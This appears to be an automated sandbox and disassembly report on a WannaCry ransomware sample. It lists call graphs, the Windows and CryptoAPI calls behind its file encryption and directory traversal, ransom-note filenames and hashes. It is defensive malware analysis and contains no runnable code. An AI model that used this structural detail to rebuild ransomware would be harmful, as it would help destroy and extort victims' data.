10001ae8 ReadFile 2029->2033 2034 10001c01 CreateFileW 2030->2034 2043 10001c38 2030->2043 2031->2026 2036 10001c7f 2031->2036 2032->2023 2035 10001a6a 2032->2035 2033->2028 2037 10001b0e 2033->2037 2034->2026 2034->2043 2035->2027 2036->2026 2038 10001c8f SetFilePointer WriteFile 2036->2038 2037->2028 2039 10001b22 ReadFile 2037->2039 2038->2026 2041 10001cbc 2038->2041 2039->2028 2042 10001b44 ReadFile 2039->2042 2040 10001d66 2078 10004370 2040->2078 2041->2026 2045 10001ccc SetFilePointer WriteFile 2041->2045 2042->2028 2047 10001b67 2042->2047 2043->2040 2051 10001d54 rand 2043->2051 2045->2026 2046 10001d09 2045->2046 2046->2026 2049 10001d19 SetFilePointer 2046->2049 2047->2028 2050 10001b72 _local_unwind2 2047->2050 2048 10001dba 2048->2026 2087 10005dc0 2048->2087 2049->2043 2050->2017 2051->2040 2053 10001de3 WriteFile 2053->2026 2055 10001e30 WriteFile 2053->2055 2055->2026 2056 10001e51 WriteFile 2055->2056 2056->2026 2057 10001e77 WriteFile 2056->2057 2057->2026 2058 10001e95 WriteFile 2057->2058 2058->2026 2059 10001eb6 2058->2059 2060 100020b7 SetFileTime 2059->2060 2063 10001ee5 SetFilePointer ReadFile 2059->2063 2073 10001f9b 2059->2073 2061 10002130 CloseHandle MoveFileW 2060->2061 2062 100020da FindCloseChangeNotification CloseHandle MoveFileW 2060->2062 2067 10002158 _local_unwind2 2061->2067 2065 10002110 SetFileAttributesW 2062->2065 2066 10002121 DeleteFileW 2062->2066 2063->2026 2068 10001f19 2063->2068 2064 100020ab 2064->2060 2065->2067 2066->2067 2067->2017 2068->2026 2071 10006940 12 API calls 2068->2071 2070 10001fcc ReadFile 2070->2026 2070->2073 2072 10001f46 WriteFile 2071->2072 2072->2026 2074 10001f6a 2072->2074 2073->2026 2073->2064 2073->2070 2094 10006940 2073->2094 2074->2026 2075 10001f7a SetFilePointer 2074->2075 2075->2073 2079 10004386 2078->2079 2080 1000437d 2078->2080 2107 10004420 CryptGenRandom 2079->2107 2080->2048 2082 10004397 2083 1000439b 2082->2083 2084 100043b2 EnterCriticalSection CryptEncrypt 2082->2084 2083->2048 2085 10004401 LeaveCriticalSection 2084->2085 2086 100043f2 LeaveCriticalSection 2084->2086 2085->2083 2086->2048 2088 10005df4 2087->2088 2089 10005dce ??0exception@@QAE@ABQBD _CxxThrowException 2087->2089 2090 10005e2d 2088->2090 2091 10005e07 ??0exception@@QAE@ABQBD _CxxThrowException 2088->2091 2089->2088 2092 10005e40 ??0exception@@QAE@ABQBD _CxxThrowException 2090->2092 2093 10005e66 2090->2093 2091->2090 2092->2093 2093->2053 2093->2093 2095 10006950 ??0exception@@QAE@ABQBD _CxxThrowException 2094->2095 2096 1000696e 2094->2096 2095->2096 2097 10006b7c ??0exception@@QAE@ABQBD _CxxThrowException 2096->2097 2105 10006990 2096->2105 2098 10006b34 2099 10006640 4 API calls 2098->2099 2106 1000205a WriteFile 2098->2106 2099->2098 2100 10006640 4 API calls 2102 10006a69 2100->2102 2101 10006a4b ??0exception@@QAE@ABQBD _CxxThrowException 2101->2102 2102->2098 2102->2100 2104 10006b16 ??0exception@@QAE@ABQBD _CxxThrowException 2102->2104 2102->2106 2104->2098 2105->2101 2105->2102 2105->2105 2105->2106 2108 10006640 2105->2108 2106->2026 2106->2073 2107->2082 2109 10006650 ??0exception@@QAE@ABQBD _CxxThrowException 2108->2109 2110 1000666e 2108->2110 2109->2110 2113 10006694 2110->2113 2114 10006280 2110->2114 2113->2105 2115 10006291 ??0exception@@QAE@ABQBD _CxxThrowException 2114->2115 2116 100062af 2114->2116 2115->2116 2116->2105 2118 10006bd0 2117->2118 2119 1000301a GetFileAttributesW 2118->2119 2120 10003030 2119->2120 2121 1000303c 2119->2121 2120->1918 2122 10003040 SetFileAttributesW 2121->2122 2123 1000304a CreateFileW 2121->2123 2122->2123 2124 100030a3 GetFileSizeEx 2123->2124 2125 10003066 2123->2125 2126 100030ea 2124->2126 2127 100030bf 2124->2127 2128 10003073 2125->2128 2129 1000307d CreateFileW 2125->2129 2132 10003161 2126->2132 2133 10003142 SetFilePointer 2126->2133 2138 10004420 CryptGenRandom 2127->2138 2128->1918 2129->2124 2130 10003097 2129->2130 2130->1918 2134 1000316e WriteFile FlushFileBuffers SetFilePointer 2132->2134 2133->2134 2135 100031e9 FindCloseChangeNotification 2134->2135 2137 10003195 2134->2137 2135->1918 2136 100031ba WriteFile 2136->2137 2137->2135 2137->2136 2138->2126 2140 100050d0 swprintf CreateDirectoryW sprintf 2139->2140 2141 1000508e GetTempPathW wcslen 2139->2141 2144 10001080 6 API calls 2140->2144 2142 10005112 2141->2142 2143 100050aa wcslen 2141->2143 2142->1779 2143->2142 2145 100050b8 wcslen 2143->2145 2144->2142 2145->1779 2146->1772 2148 10003bb0 3 API calls 2147->2148 2149 1000176c 2148->2149 2150 10003bb0 3 API calls 2149->2150 2151 10001774 2150->2151 2152 100017a3 2151->2152 2156 10001790 GlobalFree 2151->2156 2153 100017cc 2152->2153 2157 100017b9 GlobalFree 2152->2157 2154 10001800 DeleteCriticalSection wcslen 2153->2154 2155 100017d6 WaitForSingleObject CloseHandle 2153->2155 2158 10001821 DeleteFileW 2154->2158 2159 100016b2 2154->2159 2155->2154 2156->2152 2157->2153 2158->2159 2159->1806 2159->1808 2160->1811 2161->1813 2163 100049a6 time 2162->2163 2164 10004a24 Sleep 2163->2164 2165 100049b7 2163->2165 2164->2163 2165->2164 2166 100049c6 time 2165->2166 2169 100049df 2165->2169 2167 10001000 5 API calls 2166->2167 2167->2169 2169->2164 2170 100049eb GetFullPathNameA 2169->2170 2196 10004890 2169->2196 2205 100047f0 2170->2205 2173 10005745 Sleep GetLogicalDrives 2172->2173 2174 100057af ExitThread 2172->2174 2175 10005760 2173->2175 2175->2173 2175->2174 2176 10005781 CreateThread 2175->2176 2176->2175 2177 10005799 CloseHandle 2176->2177 2226 10005680 2176->2226 2177->2175 2179 10005337 2178->2179 2180 10005309 2178->2180 2181 10001080 6 API calls 2180->2181 2182 1000531e Sleep 2181->2182 2182->2180 2183 10005331 2182->2183 2185 100045cc 2184->2185 2186 10004500 21 API calls 2185->2186 2187 100045e7 ExitThread 2185->2187 2188 100045de Sleep 2185->2188 2186->2185 2188->2185 2190 100047da ExitThread 2189->2190 2191 1000479c 2189->2191 2191->2190 2192 100047a8 time 2191->2192 2194 100047c4 Sleep 2191->2194 2193 10004730 3 API calls 2192->2193 2193->2191 2194->2191 2212 10001360 AllocateAndInitializeSid 2196->2212 2198 1000489c 2199 100048a9 GetFullPathNameA sprintf 2198->2199 2200 10004913 CreateProcessA 2198->2200 2201 10001080 6 API calls 2199->2201 2203 10004969 CloseHandle CloseHandle 2200->2203 2204 1000497f 2200->2204 2202 10004907 2201->2202 2202->2200 2202->2204 2203->2204 2204->2169 2206 10001360 3 API calls 2205->2206 2207 10004810 2206->2207 2217 100014a0 GetComputerNameW wcslen 2207->2217 2210 10001080 6 API calls 2211 1000487d 2210->2211 2211->2169 2213 100013a6 2212->2213 2214 100013ab CheckTokenMembership 2212->2214 2213->2198 2215 100013c0 2214->2215 2216 100013c4 FreeSid 2214->2216 2215->2216 2216->2198 2218 10001517 srand rand 2217->2218 2219 100014f7 2217->2219 2221 10001533 2218->2221 2220 100014fb wcslen 2219->2220 2220->2218 2220->2220 2222 10001548 rand 2221->2222 2223 1000155d 2221->2223 2222->2222 2222->2223 2224 10001564 rand 2223->2224 2225 10001579 sprintf 2223->2225 2224->2224 2224->2225 2225->2210 2227 10001590 2 API calls 2226->2227 2228 100056a4 2227->2228 2229 10001830 57 API calls 2228->2229 2230 100056c7 2229->2230 2231 100056f8 2230->2231 2232 100056cb 2230->2232 2234 10005540 191 API calls 2231->2234 2233 10001680 14 API calls 2232->2233 2235 100056df 2233->2235 2236 1000570d 2234->2236 2241 10005190 GetDriveTypeW 2236->2241 2238 10005713 2239 10001760 10 API calls 2238->2239 2240 1000571f ExitThread 2239->2240 2242 100052ee 2241->2242 2243 100051cf GlobalAlloc 2241->2243 2242->2238 2243->2242 2244 100051e6 2243->2244 2255 10005120 2244->2255 2246 10005215 CreateFileW 2247 10005239 GlobalFree 2246->2247 2248 1000524a MoveFileExW 2246->2248 2247->2238 2249 100052cd GlobalFree FlushFileBuffers CloseHandle DeleteFileW 2248->2249 2251 10005263 2248->2251 2249->2242 2250 10005269 GetDiskFreeSpaceExW 2250->2249 2250->2251 2251->2249 2251->2250 2252 1000529b WriteFile 2251->2252 2252->2249 2253 100052b3 Sleep 2252->2253 2253->2252 2254 100052bd Sleep 2253->2254 2254->2249 2254->2250 2256 10005060 14 API calls 2255->2256 2257 10005150 swprintf DeleteFileW 2256->2257 2257->2246 2275 10003500 2276 10003543 ??3@YAXPAX 2275->2276 2277 1000350f 2275->2277 2278 10003510 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N ??3@YAXPAX 2277->2278 2278->2278 2279 10003542 2278->2279 2279->2276 2288 10004f20 swprintf MultiByteToWideChar CopyFileW 2289 10005024 swprintf CopyFileW 2288->2289 2290 10004fba GetUserNameW _wcsicmp 2288->2290 2290->2289 2291 10005013 SystemParametersInfoW 2290->2291 2291->2289 2300 10003a40 2305 10003a60 DeleteCriticalSection 2300->2305 2302 10003a48 2303 10003a58 2302->2303 2304 10003a4f ??3@YAXPAX 2302->2304 2304->2303 2305->2302 2322 10003560 2323 10003595 ??3@YAXPAX 2322->2323 2324 1000356e ??3@YAXPAX 2322->2324 2324->2323 2324->2324 2325 10001660 2326 10001680 14 API calls 2325->2326 2327 10001668 2326->2327 2328 10001678 2327->2328 2329 1000166f ??3@YAXPAX 2327->2329 2329->2328 2292 10005727 2293 10005730 GetLogicalDrives 2292->2293 2294 10005745 Sleep GetLogicalDrives 2293->2294 2295 100057af ExitThread 2293->2295 2296 10005760 2294->2296 2296->2294 2296->2295 2297 10005781 CreateThread 2296->2297 2297->2296 2298 10005799 CloseHandle 2297->2298 2299 10005680 277 API calls 2297->2299 2298->2296 2268 100021ac 2269 100021b7 CloseHandle 2268->2269 2270 100021be 2268->2270 2269->2270 2271 100021d4 wcslen 2270->2271 2272 100021cd CloseHandle 2270->2272 2273 100021f5 2271->2273 2274 100021e8 DeleteFileW 2271->2274 2272->2271 2274->2273 2280 10006c0c ??1type_info@@UAE 2281 10006c22 2280->2281 2282 10006c1b ??3@YAXPAX 2280->2282 2282->2281 2258 100053f0 GetUserNameW _wcsicmp 2259 10005452 2258->2259 2260 10005444 2258->2260 2261 100027f0 168 API calls 2259->2261 2262 10005468 2261->2262 2283 10005d90 2284 10005d98 2283->2284 2285 10005da8 2284->2285 2286 10005d9f ??3@YAXPAX 2284->2286 2286->2285 2330 10006ef0 ??3@YAXPAX 2263 10003ff3 2264 10004001 2263->2264 2265 10003ffa GlobalFree 2263->2265 2266 10004010 2264->2266 2267 10004009 FindCloseChangeNotification 2264->2267 2265->2264 2267->2266 2287 10006e16 ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE 2307 10006cdf 2309 10006cfb 2307->2309 2311 10006cf2 2307->2311 2309->2311 2314 10006d23 2309->2314 2315 10006c34 2309->2315 2310 10006d43 2313 10006c34 3 API calls 2310->2313 2310->2314 2311->2310 2312 10006c34 3 API calls 2311->2312 2311->2314 2312->2310 2313->2314 2316 10006c3c 2315->2316 2317 10006c5d malloc 2316->2317 2318 10006c72 2316->2318 2320 10006c9c 2316->2320 2317->2318 2319 10006c76 _initterm 2317->2319 2318->2311 2319->2318 2320->2318 2321 10006cc9 free 2320->2321 2321->2318

                                                                                                        Executed Functions

                                                                                                        Function 10001960 Relevance: 75.8, APIs: 41, Strings: 2, Instructions: 598filetimeCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 0 10001960-10001a05 1 10001a12-10001a32 CreateFileW 0->1 2 10001a07-10001a0c 0->2 3 10001a74-10001a84 GetFileSizeEx 1->3 4 10001a34-10001a42 call 10003000 1->4 2->1 6 10001a91-10001ac8 GetFileTime ReadFile 3->6 7 10001a86-10001a8c 3->7 14 10002088-1000208d 4->14 15 10001a48-10001a68 CreateFileW 4->15 10 10001b98-10001bb1 SetFilePointer 6->10 11 10001ace-10001ae2 6->11 9 1000208e-100020a8 _local_unwind2 7->9 12 10001bb7-10001bff swprintf CreateFileW 10->12 13 10001c5b-10001c79 ReadFile 10->13 11->10 16 10001ae8-10001b08 ReadFile 11->16 17 10001c01-10001c2b CreateFileW 12->17 18 10001c38-10001c3f 12->18 13->14 20 10001c7f-10001c89 13->20 14->9 15->3 19 10001a6a-10001a6f 15->19 16->10 21 10001b0e-10001b19 16->21 17->18 23 10001c2d-10001c33 17->23 24 10001c45-10001c56 18->24 25 10001d2e-10001d32 18->25 19->9 20->14 26 10001c8f-10001cb6 SetFilePointer WriteFile 20->26 21->10 22 10001b1b-10001b20 21->22 22->10 27 10001b22-10001b42 ReadFile 22->27 23->9 24->25 28 10001d34-10001d3c 25->28 29 10001d8e-10001dbc call 10004370 25->29 26->23 30 10001cbc-10001cc6 26->30 27->10 31 10001b44-10001b65 ReadFile 27->31 28->29 32 10001d3e-10001d48 28->32 36 10001dbe-10001dc4 29->36 43 10001dc9-10001df4 call 10005dc0 29->43 30->23 34 10001ccc-10001d03 SetFilePointer WriteFile 30->34 31->10 37 10001b67-10001b70 31->37 32->29 38 10001d4a-10001d52 32->38 35 10001d09-10001d13 34->35 34->36 35->36 40 10001d19-10001d28 SetFilePointer 35->40 36->9 37->10 41 10001b72-10001b95 _local_unwind2 37->41 38->29 42 10001d54-10001d64 rand 38->42 40->25 42->29 44 10001d66-10001d72 42->44 48 10001dfa-10001dfc 43->48 44->29 46 10001d74-10001d88 44->46 46->29 49 10001e11-10001e2a WriteFile 48->49 50 10001dfe-10001e0f 48->50 49->14 51 10001e30-10001e4b WriteFile 49->51 50->48 51->14 52 10001e51-10001e71 WriteFile 51->52 52->14 53 10001e77-10001e8f WriteFile 52->53 53->14 54 10001e95-10001eb0 WriteFile 53->54 54->14 55 10001eb6-10001eba 54->55 56 10001ec0-10001edf 55->56 57 100020b7-100020d8 SetFileTime 55->57 60 10001ee5-10001f13 SetFilePointer ReadFile 56->60 61 10001f9b-10001fa3 56->61 58 10002130-10002155 CloseHandle MoveFileW 57->58 59 100020da-1000210e FindCloseChangeNotification CloseHandle MoveFileW 57->59 66 10002158-1000215a 58->66 64 10002110-1000211f SetFileAttributesW 59->64 65 10002121-1000212e DeleteFileW 59->65 60->23 67 10001f19-10001f23 60->67 62 10001fa9 61->62 63 100020ab-100020b1 61->63 68 10001fb9-10001fc1 62->68 69 10001fab-10001fb3 62->69 63->57 64->66 65->66 70 10002189-100021a9 _local_unwind2 66->70 71 1000215c-10002164 66->71 67->23 72 10001f29-10001f64 call 10006940 WriteFile 67->72 73 10001fc3-10001fc6 68->73 74 10001fcc-10001ff0 ReadFile 68->74 69->63 69->68 71->70 75 10002166-10002186 71->75 72->36 80 10001f6a-10001f74 72->80 73->14 73->74 74->36 77 10001ff6-10001ffe 74->77 75->70 77->36 79 10002004-10002023 77->79 81 10002041-1000207a call 10006940 WriteFile 79->81 82 10002025-1000203f 79->82 80->36 83 10001f7a-10001f94 SetFilePointer 80->83 81->14 86 1000207c-10002082 81->86 82->81 83->61 86->14 86->61
                                                                                                        APIs
                                                                                                        • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,?), ref: 10001A21
                                                                                                        • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?), ref: 10001A57
                                                                                                        • GetFileSizeEx.KERNEL32(00000000,?,?,?), ref: 10001A7C
                                                                                                        • GetFileTime.KERNEL32(00000000,?,?,?,?,?), ref: 10001AA7
                                                                                                        • ReadFile.KERNELBASE(00000000,?,00000008,?,00000000,?,?), ref: 10001AC0
                                                                                                        • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?), ref: 10001B00
                                                                                                        • ReadFile.KERNEL32(?,?,?,?,00000000,?,?), ref: 10001B3A
                                                                                                        • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?), ref: 10001B5D
                                                                                                        • _local_unwind2.MSVCRT ref: 10001B78
                                                                                                        • _local_unwind2.MSVCRT ref: 1000208E
                                                                                                        • SetFileTime.KERNELBASE(?,?,?,?,?,?), ref: 100020CD
                                                                                                        • FindCloseChangeNotification.KERNELBASE(?,?,?), ref: 100020DA
                                                                                                        • CloseHandle.KERNEL32(?,?,?), ref: 100020E1
                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 10002101
                                                                                                        • SetFileAttributesW.KERNELBASE(?,00000080,?,?), ref: 10002119
                                                                                                        • DeleteFileW.KERNEL32(?,?,?), ref: 10002128
                                                                                                        • CloseHandle.KERNEL32(?,?,?), ref: 10002130
                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 1000214D
                                                                                                        • _local_unwind2.MSVCRT ref: 1000218F
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$Read$Close_local_unwind2$CreateHandleMoveTime$AttributesChangeDeleteFindNotificationSize
                                                                                                        • String ID: %s%s$WANACRY!
                                                                                                        • API String ID: 2042663167-3951969912
                                                                                                        • Opcode ID: 23b110fa1eaf302a1690ae2ada5f59b11b6c089050db00894cddd4ed701fb794
                                                                                                        • Instruction ID: 1cd18d78d3b1adc01fd8983c6b1e49359ce7f15159302df972715ebca2b9e78f
                                                                                                        • Opcode Fuzzy Hash: 23b110fa1eaf302a1690ae2ada5f59b11b6c089050db00894cddd4ed701fb794
                                                                                                        • Instruction Fuzzy Hash: DE326571A41229ABEB25DF54CC85FEA73B8FB48790F0042A9F619A7184D7709E84CF64
                                                                                                        Function 10002300 Relevance: 49.4, APIs: 23, Strings: 5, Instructions: 373fileCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 141 10002300-100023ad ??2@YAPAXI@Z call 10003730 swprintf FindFirstFileW 144 10002413-10002422 call 10002f70 141->144 145 100023af-1000240e call 100036a0 ??3@YAXPAX@Z call 100037c0 ??3@YAXPAX@Z 141->145 151 10002426-1000242e 144->151 155 100027c9-100027e1 145->155 153 10002430-10002432 151->153 154 10002438-10002449 wcscmp 151->154 153->154 156 10002642-10002658 FindClose 153->156 157 1000262a-1000263c FindNextFileW 154->157 158 1000244f-10002460 wcscmp 154->158 159 10002688-10002692 156->159 160 1000265a-10002662 call 10002940 156->160 157->151 157->156 158->157 161 10002466-1000248f swprintf 158->161 163 10002694-100026b2 _wcsnicmp 159->163 164 100026df-100026e2 159->164 169 10002667-10002669 160->169 165 10002521-10002525 161->165 166 10002495-100024ab call 100032c0 161->166 171 100026b4-100026b9 163->171 172 100026bb 163->172 167 100026e4-100026e8 164->167 168 1000270d-1000271a 164->168 165->157 170 1000252b-1000253c wcscmp 165->170 166->157 182 100024b1-10002503 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z call 100035c0 166->182 167->168 175 100026ea-100026ff call 10003200 167->175 180 10002746-10002754 168->180 181 1000271c-10002720 168->181 176 1000266b-10002677 call 10003760 169->176 177 1000267c-10002684 169->177 170->157 178 10002542-10002553 wcscmp 170->178 179 100026c0-100026c8 171->179 172->179 204 10002701 call 10003280 175->204 205 10002708 call 10003240 175->205 176->177 177->160 188 10002686 177->188 178->157 187 10002559-1000256a wcscmp 178->187 189 100026ca-100026ce 179->189 190 100026dd 179->190 184 10002771-1000278c ??3@YAXPAX@Z 180->184 185 10002756-10002764 call 10003620 180->185 181->180 191 10002722 181->191 203 10002508-1000251c ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z 182->203 199 100027b7-100027c4 ??3@YAXPAX@Z 184->199 200 1000278e-100027b5 ??3@YAXPAX@Z 184->200 206 10002769-1000276b 185->206 187->157 198 10002570-100025a0 call 10002d60 187->198 188->159 192 100026d0 189->192 193 100026d1-100026db 189->193 190->164 194 10002723-10002728 191->194 192->193 193->189 193->190 201 1000272a 194->201 202 1000272f-10002737 call 10002300 194->202 198->157 215 100025a6-100025a9 198->215 199->155 200->199 200->200 201->202 213 1000273c-10002744 202->213 203->157 214 10002706 204->214 205->168 206->185 210 1000276d 206->210 210->184 213->180 213->194 214->168 215->157 216 100025ab-100025ad 215->216 217 100025bf-10002625 wcsncpy * 2 call 10003760 216->217 218 100025af-100025b3 216->218 217->157 218->217 220 100025b5-100025bd 218->220 220->157 220->217
                                                                                                        APIs
                                                                                                        • ??2@YAPAXI@Z.MSVCRT ref: 10002332
                                                                                                          • Part of subcall function 10003730: ??2@YAPAXI@Z.MSVCRT ref: 10003732
                                                                                                        • swprintf.MSVCRT ref: 10002388
                                                                                                        • FindFirstFileW.KERNELBASE(?,?,?,00000000,00000000,?), ref: 1000239E
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 100023D2
                                                                                                          • Part of subcall function 100037C0: ??3@YAXPAX@Z.MSVCRT ref: 100037E5
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 10002404
                                                                                                        • wcscmp.MSVCRT ref: 10002442
                                                                                                        • wcscmp.MSVCRT ref: 10002459
                                                                                                        • swprintf.MSVCRT(?,%s\%s,?,?), ref: 10002480
                                                                                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 100024BE
                                                                                                        • wcslen.MSVCRT ref: 100024CC
                                                                                                        • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 100024E2
                                                                                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 10002516
                                                                                                        • FindNextFileW.KERNELBASE(?,?), ref: 10002634
                                                                                                        • FindClose.KERNEL32(?), ref: 10002643
                                                                                                          • Part of subcall function 100036A0: ??3@YAXPAX@Z.MSVCRT ref: 100036F6
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??3@$FindG@2@@std@@G@std@@U?$char_traits@V?$allocator@$??2@FileTidy@?$basic_string@swprintfwcscmp$?assign@?$basic_string@CloseFirstNextV12@wcslen
                                                                                                        • String ID: %s\%s$%s\*$@Please_Read_Me@.txt$@WanaDecryptor@.bmp$@WanaDecryptor@.exe.lnk
                                                                                                        • API String ID: 3909534679-268640142
                                                                                                        • Opcode ID: c9a76a70b7b632c4450580839e071ff4f202a5209e9f2a602d3636a96f089ea2
                                                                                                        • Instruction ID: de254d0e5b2da72f41e6c310beb378338d29d9cbc8abb0440bfd0675c5201551
                                                                                                        • Opcode Fuzzy Hash: c9a76a70b7b632c4450580839e071ff4f202a5209e9f2a602d3636a96f089ea2
                                                                                                        • Instruction Fuzzy Hash: 38D1B1755083819FE720DB64C880AABB7E8FFC9384F10491DF99983255EB75E909CB93
                                                                                                        Function 10004A40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 200COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        APIs
                                                                                                        • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?,75D9A390,762EDC30,75732EE0,?), ref: 10004A97
                                                                                                        • wcslen.MSVCRT ref: 10004A9E
                                                                                                        • wcsrchr.MSVCRT ref: 10004AC0
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: FolderPathwcslenwcsrchr
                                                                                                        • String ID: %s\%s\%s$%s\*.*
                                                                                                        • API String ID: 546322749-1899009126
                                                                                                        • Opcode ID: 8a6f2f974920d52717d03da3a36b72289499b9d186961dda4ecc416d09510b88
                                                                                                        • Instruction ID: f3627253bfd0e675d6c72d42cf14d2781f3e5a035430ee9dadabd35bed43a83c
                                                                                                        • Opcode Fuzzy Hash: 8a6f2f974920d52717d03da3a36b72289499b9d186961dda4ecc416d09510b88
                                                                                                        • Instruction Fuzzy Hash: 4761D8B2504345ABF320DB64DC88FEB73E8FFC4395F01492DEA8982144EB75A509C7A6
                                                                                                        Function 100011D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 100COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        APIs
                                                                                                        • GetCurrentProcess.KERNEL32 ref: 100011E4
                                                                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
                                                                                                        • GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 10001214
                                                                                                        • GetLastError.KERNEL32 ref: 1000121A
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ProcessToken$CurrentErrorInformationLastOpen
                                                                                                        • String ID: ConvertSidToStringSidW$advapi32.dll
                                                                                                        • API String ID: 3761956567-1399820460
                                                                                                        • Opcode ID: 303a435fe0c47bc2ab0ad51a806ed00c7655853782dcd7968111a56573c8e81e
                                                                                                        • Instruction ID: 47968a519e593bd1c62a1f3d62b818a3899146cc2fa57af3534c2703d8e63c9f
                                                                                                        • Opcode Fuzzy Hash: 303a435fe0c47bc2ab0ad51a806ed00c7655853782dcd7968111a56573c8e81e
                                                                                                        • Instruction Fuzzy Hash: 2121C375A00212ABE300DB28EC85FEB37E8FFC06D5F404929F948C2158E374D94986A2
                                                                                                        Function 10004040 Relevance: 10.6, APIs: 7, Instructions: 110filememoryencryptionCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 466 10004040-1000408f CryptExportKey 467 10004091-10004097 466->467 468 10004099-100040ab GlobalAlloc 466->468 469 100040d0-100040ea _local_unwind2 467->469 470 100040b5-100040c8 CryptExportKey 468->470 471 100040ad-100040b3 468->471 472 100040ca 470->472 473 100040eb-1000410d CreateFileA 470->473 471->469 476 100040cc-100040cf 472->476 474 10004116-1000412c WriteFile 473->474 475 1000410f-10004114 473->475 474->476 477 1000412e-1000414f _local_unwind2 474->477 475->469 476->469
                                                                                                        APIs
                                                                                                        • CryptExportKey.ADVAPI32(?,00000000,?,00000000,00000000,00000008), ref: 10004087
                                                                                                        • GlobalAlloc.KERNEL32(00000000,00000008), ref: 1000409E
